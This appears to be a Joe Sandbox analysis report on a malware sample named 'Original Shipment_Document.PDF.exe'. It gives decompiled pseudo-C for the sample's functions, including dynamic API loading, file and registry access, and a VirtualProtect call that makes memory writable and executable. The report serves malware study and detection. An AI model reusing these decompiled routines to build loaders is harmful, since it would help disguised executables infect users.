Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: d74cba4bcb10df2849d84578ff61c1288d4203641ce00d6d477458fcdfc0df96
Instruction ID: 0bd1c2541dc6badd11bf791eeeb1c61969952e167bd25157246a8193e9c71b51
Opcode Fuzzy Hash: d74cba4bcb10df2849d84578ff61c1288d4203641ce00d6d477458fcdfc0df96
Instruction Fuzzy Hash: C1E02632B00104EBCB14DFA8EDC086E73A5FB44310310483FE502B3290D6749C01CB68

Uniqueness

Uniqueness Score: -1.00%

Function 004068D4 Relevance: 3.0, APIs: 2, Instructions: 22
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004068D4(signed int _a4) {
				struct HINSTANCE__* _t5;
				signed int _t10;

				_t10 = _a4 << 3;
				_t8 =  *(_t10 + 0x40a3e0);
				_t5 = GetModuleHandleA( *(_t10 + 0x40a3e0));
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t10 + 0x40a3e4));
				}
				_t5 = E00406864(_t8); // executed
				if(_t5 == 0) {
					return 0;
				}
				goto L2;
			}

0x004068dc
0x004068df
0x004068e6
0x004068ee
0x004068fa
0x00000000
0x00406901
0x004068f1
0x004068f8
0x00000000
0x00406909
0x00000000

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403607,0000000B), ref: 004068E6
GetProcAddress.KERNEL32(00000000,?), ref: 00406901

Part of subcall function 00406864: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 0040687B
Part of subcall function 00406864: wsprintfW.USER32 ref: 004068B6
Part of subcall function 00406864: LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 004068CA

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: c7c26614299f557633109f7ac2ccf4e744cd73af09153470ea8035ac80f12020
Instruction ID: b54d22b37b479e59566a9631c032e51b8c6cd741f5ea0e4d018af200ac078f8b
Opcode Fuzzy Hash: c7c26614299f557633109f7ac2ccf4e744cd73af09153470ea8035ac80f12020
Instruction Fuzzy Hash: 48E086335042109AE21197715D44C7B73A8AF89650307443EF947F2080DB38DC31A669

Uniqueness

Uniqueness Score: -1.00%

Function 00405FF7 Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00405FF7(WCHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesW(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileW(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}

0x00405ffb
0x00406008
0x0040601d
0x00406023

APIs

GetFileAttributesW.KERNELBASE(00000003,004030BD,C:\Users\user\Desktop\Original Shipment_Document.PDF.exe,80000000,00000003,?,?,?,?,?,00403847,?), ref: 00405FFB
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,?,?,00403847,?), ref: 0040601D

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 080dfadfdaad2818d5b04c51cfada36c475993ea7ffea5996e238fb5a0e3a6c4
Instruction ID: 1030bc0f2bf25390ef9c6131bda9d6cfedcac9e68b753c15eded60bf4a570351
Opcode Fuzzy Hash: 080dfadfdaad2818d5b04c51cfada36c475993ea7ffea5996e238fb5a0e3a6c4
Instruction Fuzzy Hash: 5ED09E31254201AFEF098F20DE16F2E7BA2EB94B04F11552CB786941E0DAB15C199B15

Uniqueness

Uniqueness Score: -1.00%

Function 00405FD2 Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405FD2(WCHAR* _a4) {
				signed char _t3;
				signed char _t7;

				_t3 = GetFileAttributesW(_a4); // executed
				_t7 = _t3;
				if(_t7 != 0xffffffff) {
					SetFileAttributesW(_a4, _t3 & 0x000000fe);
				}
				return _t7;
			}

0x00405fd7
0x00405fdd
0x00405fe2
0x00405feb
0x00405feb
0x00405ff4

APIs

GetFileAttributesW.KERNELBASE(?,?,00405BD7,?,?,00000000,00405DAD,?,?,?,?), ref: 00405FD7
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405FEB

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction ID: 846b50f6ec280e5947384c74444241e6b9796591039fc91e932c01759f2cc32f
Opcode Fuzzy Hash: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction Fuzzy Hash: 2CD0C972504531ABC2102728EE0889BBB55EF642717054A35FAA5A22B0CB304C529E98

Uniqueness

Uniqueness Score: -1.00%

Function 00405AB5 Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405AB5(WCHAR* _a4) {
				int _t2;

				_t2 = CreateDirectoryW(_a4, 0); // executed
				if(_t2 == 0) {
					return GetLastError();
				}
				return 0;
			}

0x00405abb
0x00405ac3
0x00000000
0x00405ac9
0x00000000

APIs

CreateDirectoryW.KERNELBASE(?,00000000,004034EA,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037DA), ref: 00405ABB
GetLastError.KERNEL32 ref: 00405AC9

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: a5afa482e644e9a10fedfab033ae5dbb8931bf23a9e1c5533d9f8c1a63861871
Instruction ID: 81e7360d8487983dd45b28c0c59a41c1d83062ba9acea414cf4290cf05fa9266
Opcode Fuzzy Hash: a5afa482e644e9a10fedfab033ae5dbb8931bf23a9e1c5533d9f8c1a63861871
Instruction Fuzzy Hash: C3C04C30314601AED7505B609E48B177EA19B94741F1A85396146E41A4DA389455DD2D

Uniqueness

Uniqueness Score: -1.00%

Function 718D2B98 Relevance: 1.6, APIs: 1, Instructions: 143
fileCOMMON

Download Yara Rule

C-Code - Quality: 19%

			E718D2B98(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				void* _t28;
				void* _t29;
				void* _t33;
				void* _t37;
				void* _t40;
				void* _t45;
				void* _t49;
				signed int _t56;
				void* _t61;
				void* _t70;
				intOrPtr _t72;
				signed int _t77;
				intOrPtr _t79;
				intOrPtr _t80;
				void* _t81;
				void* _t87;
				void* _t88;
				void* _t89;
				void* _t90;
				intOrPtr _t93;
				intOrPtr _t94;

				if( *0x718d5050 != 0 && E718D2ADB(_a4) == 0) {
					 *0x718d5054 = _t93;
					if( *0x718d504c != 0) {
						_t93 =  *0x718d504c;
					} else {
						E718D30C0(E718D2AD5(), __ecx);
						 *0x718d504c = _t93;
					}
				}
				_t28 = E718D2B09(_a4);
				_t94 = _t93 + 4;
				if(_t28 <= 0) {
					L9:
					_t29 = E718D2AFD();
					_t72 = _a4;
					_t79 =  *0x718d5058;
					 *((intOrPtr*)(_t29 + _t72)) = _t79;
					 *0x718d5058 = _t72;
					E718D2AF7();
					_t33 = CreateFileA(??, ??, ??, ??, ??, ??, ??); // executed
					 *0x718d5034 = _t33;
					 *0x718d5038 = _t79;
					if( *0x718d5050 != 0 && E718D2ADB( *0x718d5058) == 0) {
						 *0x718d504c = _t94;
						_t94 =  *0x718d5054;
					}
					_t80 =  *0x718d5058;
					_a4 = _t80;
					 *0x718d5058 =  *((intOrPtr*)(E718D2AFD() + _t80));
					_t37 = E718D2AE9(_t80);
					_pop(_t81);
					if(_t37 != 0) {
						_t40 = E718D2B09(_t81);
						if(_t40 > 0) {
							_push(_t40);
							_push(E718D2B14() + _a4 + _v8);
							_push(E718D2B1E());
							if( *0x718d5050 <= 0 || E718D2ADB(_a4) != 0) {
								_pop(_t88);
								_pop(_t45);
								__eflags =  *((intOrPtr*)(_t88 + _t45)) - 2;
								if(__eflags == 0) {
								}
								asm("loop 0xfffffff5");
							} else {
								_pop(_t89);
								_pop(_t49);
								 *0x718d504c =  *0x718d504c +  *(_t89 + _t49) * 4;
								asm("loop 0xffffffeb");
							}
						}
					}
					_t107 =  *0x718d5058;
					if( *0x718d5058 == 0) {
						 *0x718d504c = 0;
					}
					E718D2B42(_t107, _a4,  *0x718d5034,  *0x718d5038);
					return _a4;
				}
				_push(E718D2B14() + _a4);
				_t56 = E718D2B1A();
				_v8 = _t56;
				_t77 = _t28;
				_push(_t68 + _t56 * _t77);
				_t70 = E718D2B26();
				_t87 = E718D2B22();
				_t90 = E718D2B1E();
				_t61 = _t77;
				if( *((intOrPtr*)(_t90 + _t61)) == 2) {
					_push( *((intOrPtr*)(_t70 + _t61)));
				}
				_push( *((intOrPtr*)(_t87 + _t61)));
				asm("loop 0xfffffff1");
				goto L9;
			}

0x718d2ba8
0x718d2bb9
0x718d2bc6
0x718d2bda
0x718d2bc8
0x718d2bcd
0x718d2bd2
0x718d2bd2
0x718d2bc6
0x718d2be3
0x718d2be8
0x718d2bee
0x718d2c32
0x718d2c32
0x718d2c37
0x718d2c3c
0x718d2c42
0x718d2c44
0x718d2c4a
0x718d2c57
0x718d2c59
0x718d2c5e
0x718d2c6b
0x718d2c7e
0x718d2c84
0x718d2c8a
0x718d2c8b
0x718d2c91
0x718d2c9d
0x718d2ca3
0x718d2cab
0x718d2cac
0x718d2caf
0x718d2cba
0x718d2cbc
0x718d2cc8
0x718d2cce
0x718d2cd6
0x718d2d02
0x718d2d03
0x718d2d05
0x718d2d09
0x718d2d09
0x718d2d10
0x718d2ce6
0x718d2ce6
0x718d2ce7
0x718d2cf5
0x718d2cfe
0x718d2cfe
0x718d2cd6
0x718d2cba
0x718d2d12
0x718d2d19
0x718d2d1b
0x718d2d1b
0x718d2d34
0x718d2d42
0x718d2d42
0x718d2bf9
0x718d2bfa
0x718d2bff
0x718d2c03
0x718d2c08
0x718d2c1c
0x718d2c1d
0x718d2c1e
0x718d2c20
0x718d2c25
0x718d2c27
0x718d2c27
0x718d2c2a
0x718d2c30
0x00000000

APIs

CreateFileA.KERNELBASE(00000000), ref: 718D2C57

Memory Dump Source

Source File: 00000001.00000002.185991106331.00000000718D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 718D0000, based on PE: true

Associated: 00000001.00000002.185991032622.00000000718D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.185991182881.00000000718D4000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.185991257714.00000000718D6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_718d0000_Original Shipment_Document.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 32076971fd86fca4e4ef6ad331594ef3b20297f2834831dfd12a2f0c7008980a
Instruction ID: 65907bf7c24981941fe0a60417dd680099badda4a664e7de69aecaf2cc8f73dd
Opcode Fuzzy Hash: 32076971fd86fca4e4ef6ad331594ef3b20297f2834831dfd12a2f0c7008980a
Instruction Fuzzy Hash: FC419E72508309DFDB12DFA9D985B5D3777EB4C324F30C627E985C6140D67898848F91

Uniqueness

Uniqueness Score: -1.00%

Function 00402891 Relevance: 1.5, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E00402891(intOrPtr __edx, void* __eflags) {
				long _t8;
				long _t10;
				LONG* _t12;
				void* _t14;
				intOrPtr _t15;
				void* _t16;
				void* _t19;

				_t15 = __edx;
				_pop(ds);
				if(__eflags != 0) {
					_t8 = E00402D84(2);
					_pop(_t14);
					 *((intOrPtr*)(_t19 - 0x10)) = _t15;
					_t10 = SetFilePointer(E00406467(_t14, _t16), _t8, _t12,  *(_t19 - 0x24)); // executed
					if( *((intOrPtr*)(_t19 - 0x2c)) >= _t12) {
						_push(_t10);
						_push( *((intOrPtr*)(_t19 - 0xc)));
						E0040644E();
					}
				}
				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t19 - 4));
				return 0;
			}

0x00402891
0x00402891
0x00402892
0x0040289a
0x0040289f
0x004028a0
0x004028af
0x004028b8
0x004028be
0x00402ba1
0x00402ba4
0x00402ba4
0x004028b8
0x00402c2d
0x00402c39

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 004028AF

Part of subcall function 0040644E: wsprintfW.USER32 ref: 0040645B

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: e909eb12cb7f304e77c40ede1074a297a68e187afbf8d724b219cae3900333f3
Instruction ID: 9e2485e64ef9b70ac7e71c64f4b07727369f27addb678b73bbf1969ec48c6125
Opcode Fuzzy Hash: e909eb12cb7f304e77c40ede1074a297a68e187afbf8d724b219cae3900333f3
Instruction Fuzzy Hash: 05E01271904105BFDB01AFA5AE499BEB378EB44319B10483BF502F10D1DA794D219B2E

Uniqueness

Uniqueness Score: -1.00%

Function 00401735 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401735() {
				long _t5;
				WCHAR* _t8;
				WCHAR* _t11;
				void* _t14;
				long _t17;

				_t5 = SearchPathW(_t8, E00402DA6(0xffffffff), _t8, 0x400, _t11, _t14 + 8); // executed
				_t17 = _t5;
				if(_t17 == 0) {
					 *((intOrPtr*)(_t14 - 4)) = 1;
					 *_t11 = _t8;
				}
				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t14 - 4));
				return 0;
			}

0x00401749
0x0040174f
0x00401751
0x004028fc
0x00402903
0x00402903
0x00402c2d
0x00402c39

APIs

SearchPathW.KERNELBASE(?,00000000,?,00000400,?,?,000000FF), ref: 00401749

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: PathSearch
String ID:
API String ID: 2203818243-0
Opcode ID: 2a3a7b52a522bc975c411e579a720d1ec686ca1eb2a39d973c7c3d36abd71f15
Instruction ID: 54a96972ebf6e5f7d9af5d5faa48068549acc1a9791dfdba756491a3e909a95f
Opcode Fuzzy Hash: 2a3a7b52a522bc975c411e579a720d1ec686ca1eb2a39d973c7c3d36abd71f15
Instruction Fuzzy Hash: 06E0D872204100EBE740DB64DD48EAA3368DF40318B204236E101A50D1E6B48901932D

Uniqueness

Uniqueness Score: -1.00%

Function 0040607A Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040607A(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = ReadFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x0040607e
0x0040608e
0x00406096
0x00000000
0x0040609d
0x00000000
0x0040609f

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004034AC,00000000,00000000,00403303,000000FF,00000004,00000000,00000000,00000000), ref: 0040608E

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction ID: c8e4d841af9964a9af1d27d101842a5e1860e0780d1899a5c61b78fe641b59a9
Opcode Fuzzy Hash: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction Fuzzy Hash: 84E08632140219ABCF10EE518C00EEB379CFF01390F054432F911E2140D638E92187A4

Uniqueness

Uniqueness Score: -1.00%

Function 004060A9 Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004060A9(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = WriteFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x004060ad
0x004060bd
0x004060c5
0x00000000
0x004060cc
0x00000000
0x004060ce

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,0040347A,00000000,00414EC0,?,00414EC0,?,000000FF,00000004,00000000), ref: 004060BD

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction ID: 36c6d552b97af02dd58307b05a598db1695570393df740455f8c701413f3969e
Opcode Fuzzy Hash: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction Fuzzy Hash: AFE0E632150169ABDF10DE559C00EEB775CEB05351F014476F955E3150DA31E87197A5

Uniqueness

Uniqueness Score: -1.00%

Function 718D2A7F Relevance: 1.5, APIs: 1, Instructions: 21
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {

				 *0x718d5048 = _a4;
				if(_a8 == 1) {
					VirtualProtect(0x718d505c, 4, 0x40, 0x718d504c); // executed
					 *0x718d505c = 0xc2;
					 *0x718d504c = 0;
					 *0x718d5054 = 0;
					 *0x718d5068 = 0;
					 *0x718d5058 = 0;
					 *0x718d5050 = 0;
					 *0x718d5060 = 0;
					 *0x718d505e = 0;
				}
				return 1;
			}

0x718d2a88
0x718d2a8d
0x718d2a9d
0x718d2aa5
0x718d2aac
0x718d2ab1
0x718d2ab6
0x718d2abb
0x718d2ac0
0x718d2ac5
0x718d2aca
0x718d2aca
0x718d2ad2

APIs

VirtualProtect.KERNELBASE(718D505C,00000004,00000040,718D504C), ref: 718D2A9D

Memory Dump Source

Source File: 00000001.00000002.185991106331.00000000718D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 718D0000, based on PE: true

Associated: 00000001.00000002.185991032622.00000000718D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.185991182881.00000000718D4000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.185991257714.00000000718D6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_718d0000_Original Shipment_Document.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 5b0099c1b949ef4f02e7c6363fe55222c3dbeaae30a005d4da82eeb3943db412
Instruction ID: 0441d05e65971a54ab140399afc74aac0e9119ee48902da63f396eddc2be7ec3
Opcode Fuzzy Hash: 5b0099c1b949ef4f02e7c6363fe55222c3dbeaae30a005d4da82eeb3943db412
Instruction Fuzzy Hash: 9BF04EB2A48380DEC3A1DF2B84447093BF1B75D315B65876BE6C8DA245E3744C44DF91

Uniqueness

Uniqueness Score: -1.00%

Function 00406374 Relevance: 1.5, APIs: 1, Instructions: 19
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406374(void* __eflags, intOrPtr _a4, short* _a8, int _a12, void** _a16) {
				void* _t7;
				long _t8;
				void* _t9;

				_t7 = E004062F3(_a4,  &_a12);
				if(_t7 != 0) {
					_t8 = RegOpenKeyExW(_t7, _a8, 0, _a12, _a16); // executed
					return _t8;
				}
				_t9 = 6;
				return _t9;
			}

0x0040637e
0x00406385
0x00406398
0x00000000
0x00406398
0x00406389
0x00000000

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,?,?,?,00406402,?,00000000,?,?,Call,?), ref: 00406398

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: Open
String ID:
